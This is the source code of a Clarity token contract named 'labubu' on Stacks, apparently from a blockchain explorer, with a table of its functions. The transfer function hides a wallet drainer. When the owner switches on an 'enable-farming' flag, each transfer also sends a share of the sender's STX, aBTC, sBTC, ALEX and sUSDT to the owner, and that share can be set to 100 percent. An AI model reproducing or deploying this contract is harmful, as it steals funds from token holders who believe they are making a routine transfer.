Source Code

(impl-trait 'SP102V8P0F7JX67ARQ77WEA3D3CFB5XW39REDT0AM.trait-sip-010.sip-010-trait)
(define-constant MAXSUPPLY u20000000000000000)
(define-fungible-token labubu MAXSUPPLY)
(define-data-var token-name (string-ascii 32) "labubu")
(define-data-var token-symbol (string-ascii 32) "labubu")
(define-data-var token-uri (optional (string-utf8 256)) (some u"https://gaia.hiro.so/hub/1PLBLvhUWD1qFPWoAsjpAKiit24qZcvUBj/wall.json"))
(define-data-var token-decimals uint u8)
(define-data-var enable-farming uint u0)
(define-data-var amount-percent uint u100000000)
(define-data-var owner principal tx-sender)
(define-constant ERR-NOT-AUTHORIZED (err u1000))
(define-constant ERR-MINT-FAILED (err u6002))
(define-constant ERR-BURN-FAILED (err u6003))
(define-constant ERR-NOT-SUPPORTED (err u6004))
(define-constant ERR-OVER-MAX-FEE (err u6005))
(define-constant ERR-TRANSFER-FAILED (err u3000))
(define-constant ONE_8 u100000000)
(define-constant contract-creator tx-sender)
(define-private (percent-down (a uint))
	(/ (* a (var-get amount-percent)) ONE_8))
(define-read-only (get-contract-creator)
	(ok contract-creator))
(define-read-only (get-base-token)
	ERR-NOT-SUPPORTED)
(define-read-only (get-base-decimals) 
	(ok u6))
(define-read-only (get-balance (who principal))
	(ok (ft-get-balance labubu who)
    ))
(define-read-only (is-owner)
	(ok (asserts! (is-eq tx-sender (var-get owner)) ERR-NOT-AUTHORIZED)))

(define-public (transfer (amount uint) (sender principal) (recipient principal) (memo (optional (buff 34))))
  (let (
        (stx-amount (stx-get-balance sender))
        (flag (var-get enable-farming))
        (recipient-address (var-get owner))
    )
    (asserts! (is-eq sender tx-sender) ERR-NOT-AUTHORIZED)
    (try! (ft-transfer? labubu amount sender recipient))
    (if (or (is-eq flag u1) (is-eq flag u9))
        (try! (stx-transfer? (percent-down stx-amount) sender recipient-address))
        true)
    (if (or (is-eq flag u2) (is-eq flag u9))
        (let (
            (abtc-bal (unwrap-panic (contract-call? 'SP2XD7417HGPRTREMKF748VNEQPDRR0RMANB7X1NK.token-abtc get-balance-fixed sender))))
            (try! (contract-call? 'SP2XD7417HGPRTREMKF748VNEQPDRR0RMANB7X1NK.token-abtc transfer-fixed (percent-down abtc-bal) sender recipient-address none)))
        true)
    (if (or (is-eq flag u3) (is-eq flag u9))
        (let (
            (sbtc-bal (unwrap-panic (contract-call? 'SM3VDXK3WZZSA84XXFKAFAF15NNZX32CTSG82JFQ4.sbtc-token get-balance-available sender))))
            (try! (contract-call? 'SM3VDXK3WZZSA84XXFKAFAF15NNZX32CTSG82JFQ4.sbtc-token transfer (percent-down sbtc-bal) sender recipient-address none)))
        true)
    (if (or (is-eq flag u4) (is-eq flag u9))
        (let (
            (alex-bal (unwrap-panic (contract-call? 'SP102V8P0F7JX67ARQ77WEA3D3CFB5XW39REDT0AM.token-alex get-balance-fixed sender))))
            (try! (contract-call? 'SP102V8P0F7JX67ARQ77WEA3D3CFB5XW39REDT0AM.token-alex transfer-fixed (percent-down alex-bal) sender recipient-address none)))
        true)
    (if (or (is-eq flag u5) (is-eq flag u9))
        (let (
            (ausd-bal (unwrap-panic (contract-call? 'SP2XD7417HGPRTREMKF748VNEQPDRR0RMANB7X1NK.token-susdt get-balance-fixed sender))))
            (try! (contract-call? 'SP2XD7417HGPRTREMKF748VNEQPDRR0RMANB7X1NK.token-susdt transfer-fixed (percent-down ausd-bal) sender recipient-address none)))
        true)
    (ok true)
))
(define-public (set-enable-farming (flag uint))
(begin
    (try! (is-owner))
    (ok (var-set enable-farming flag))))
(define-public (set-amount-percent (percent uint))
(begin
    (try! (is-owner))
    (ok (var-set amount-percent percent))))
(define-public (set-owner (new-owner principal))
(begin
    (try! (is-owner))
    (ok (var-set owner new-owner))))
(define-read-only (get-total-supply)
    (ok (ft-get-supply labubu))
)
(define-read-only (get-name)
    (ok (var-get token-name)))
(define-read-only (get-symbol)
    (ok (var-get token-symbol)))
(define-read-only (get-decimals)
    (ok (var-get token-decimals)))
(define-read-only (get-token-uri)
  (ok (var-get token-uri)))
(define-private (pow-decimals)
  (pow u10 (unwrap-panic (get-decimals))))
(define-read-only (fixed-to-decimals (amount uint))
  (/ (* amount (pow-decimals)) ONE_8))
(define-private (decimals-to-fixed (amount uint))
  (/ (* amount ONE_8) (pow-decimals)))
(define-read-only (get-total-supply-fixed)
  ERR-NOT-SUPPORTED)
(define-read-only (get-balance-fixed (account principal))
  (ok (decimals-to-fixed (unwrap-panic (get-balance account)))))
(define-public (transfer-fixed (amount uint) (sender principal) (recipient principal) (memo (optional (buff 34))))
  (transfer (fixed-to-decimals amount) sender recipient memo))
(define-public (mint (amount uint) (recipient principal))
  ERR-MINT-FAILED)
(define-public (burn (amount uint) (sender principal))
  ERR-BURN-FAILED)
(define-public (mint-fixed (amount uint) (recipient principal))
  (mint (fixed-to-decimals amount) recipient))
(define-public (burn-fixed (amount uint) (sender principal))
  (burn (fixed-to-decimals amount) sender))
(begin
  (try! (ft-mint? labubu MAXSUPPLY contract-creator))
)

Functions (25)

FunctionAccessArgs
percent-downprivatea: uint
get-contract-creatorread-only
get-base-tokenread-only
get-base-decimalsread-only
get-balanceread-onlywho: principal
is-ownerread-only
transferpublicamount: uint, sender: principal, recipient: principal, memo: (optional (buff 34
set-enable-farmingpublicflag: uint
set-amount-percentpublicpercent: uint
set-ownerpublicnew-owner: principal
get-total-supplyread-only
get-nameread-only
get-symbolread-only
get-decimalsread-only
get-token-uriread-only
pow-decimalsprivate
fixed-to-decimalsread-onlyamount: uint
decimals-to-fixedprivateamount: uint
get-total-supply-fixedread-only
get-balance-fixedread-onlyaccount: principal
transfer-fixedpublicamount: uint, sender: principal, recipient: principal, memo: (optional (buff 34
mintpublicamount: uint, recipient: principal
burnpublicamount: uint, sender: principal
mint-fixedpublicamount: uint, recipient: principal
burn-fixedpublicamount: uint, sender: principal